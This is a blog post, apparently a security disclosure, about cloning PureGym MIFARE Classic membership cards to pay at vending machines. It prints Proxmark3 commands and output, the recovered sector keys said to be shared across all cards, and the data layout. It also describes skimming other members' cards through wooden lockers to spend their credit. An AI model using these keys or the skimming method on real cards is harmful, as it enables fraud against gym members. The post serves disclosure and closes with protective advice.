Puregym Part 2: Obtaining Free Snacks
Table of Contents
This is part 2 of a 2 part series, where we find exploits in PureGym:
PureGym provides vending machines that accept membership cards as a payment method. This immediately woke my curiosity: is it possible to obtain “free” protein shakes using this system?
Taking a Look at The Membership Card
The first step was to inspect the membership card itself. The card uses NFC, so I analyzed it with a Proxmark3 Easy running the Iceman firmware.
Running the command hf search produces the following output:
[-] Searching for ISO14443-A tag...
[=] ---------- ISO14443-A Information ----------
[+] UID: {REDACTED} ( double )
[+] ATQA: 00 44
[+] SAK: 08 [2]
[+] MANUFACTURER: NXP Semiconductors Germany
[+] Possible types:
[+] MIFARE Classic 1K CL2
[=] proprietary non iso14443-4 card found, RATS not supported
[=]
[+] Prng detection....... hard
[=]
[=] --- Tag Signature
[=] IC signature public key name: NXP MIFARE Classic MFC1C14_x
[=] IC signature public key value: {REDACTED}
[=] Elliptic curve parameters: NID_secp128r1
[=] TAG IC Signature: {REDACTED}
[+] Signature verification: successful
The card is a MIFARE Classic 1K with a 7-byte UID. MIFARE Classic chips are well known for their cryptographic weaknesses and are easy to clone once the sector keys are recovered.
Cracking the Keys
Using Iceman’s automated tooling, the command hf mf auto quickly recovers all sector keys.
Recovered keys:
[+] -----+-----+--------------+---+--------------+----
[+] Sec | Blk | key A |res| key B |res
[+] -----+-----+--------------+---+--------------+----
[+] 000 | 003 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D
[+] 001 | 007 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D
[+] 002 | 011 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D
[+] 003 | 015 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D
[+] 004 | 019 | 3E65E4FB65B3 | D | 15ECC10A7141 | H
[+] 005 | 023 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 006 | 027 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 007 | 031 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 008 | 035 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 009 | 039 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 010 | 043 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 011 | 047 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 012 | 051 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 013 | 055 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 014 | 059 | 3E65E4FB65B3 | D | 15ECC10A7141 | R
[+] 015 | 063 | FFFFFFFFFFFF | D | FFFFFFFFFFFF | D
[+] 016 | 067 | 5C8FF9990DA2 | D | D01AFEEB890A | D ( * )
[+] 017 | 071 | 75CCB59C9BED | D | 4B791BEA7BCC | D ( * )
[+] -----+-----+--------------+---+--------------+----
Further investigation revealed that these keys are identical across multiple membership cards. This significantly reduces the effort required not only to clone cards, but also to read and analyze them.
Sector Analysis
Inspecting the sectors that contain meaningful data yields the following:
"16": "10000072000000E20000000000000080",
"17": "00000000000000800000000000000080",
"18": "{REDACTED}",
"19": "3E65E4FB65B37877886915ECC10A7141", // key a and b
At this point, the precise meaning of each byte was unclear. To reverse this, I read several friends’ cards and compared the data. The result was clear: everything remained constant except the member id.
"16": "10000072000000E20000000000000080", // security bits
"17": "00000000000000800000000000000080", // security bits
"18": "{REDACTED}", // hashed member id
"19": "3E65E4FB65B37877886915ECC10A7141", // key a and b
Additional testing confirmed that the hashed member ID is the only identifying element used by the vending machine. The UID itself is ignored, provided that the correct keys and security bits are set.
Brute-Forcing Member IDs
With the identification mechanism understood, brute-forcing member IDs initially seemed possible. However, a quick calculation demonstrates that this approach is entirely impractical:
16³² = 340282366920938463463374607431768211456
PureGym reports approximately 2.2 million members. This means only about: 0.0000000000000000000000000000006% of the possible hashes are valid. On average, a successful hit would occur once every:1666666666666666666666666666666 attempts. At one attempt every five seconds, this would take roughly: 6889329805996472663139329 years
Clearly, brute-forcing is not a viable strategy.
Stealing Other Cards
Another approach would be to read other members’ cards and use their stored credit. In practice, this is feasible because many people leave their membership cards inside gym lockers.
The lockers are constructed from oak panels approximately 2 cm thick, which still allows the Proxmark3 to read cards through the material. There are four viable attack angles: from either side, from below, and from the front, as illustrated below.
Given the Proxmark3’s effective read range through wood, this attack is realistic. Once a card is read, it can be emulated directly or cloned onto another card.
Protecting Yourself
To mitigate these risks:
- Store your membership card in an RFID-blocking wallet.
- Avoid leaving your card inside gym lockers.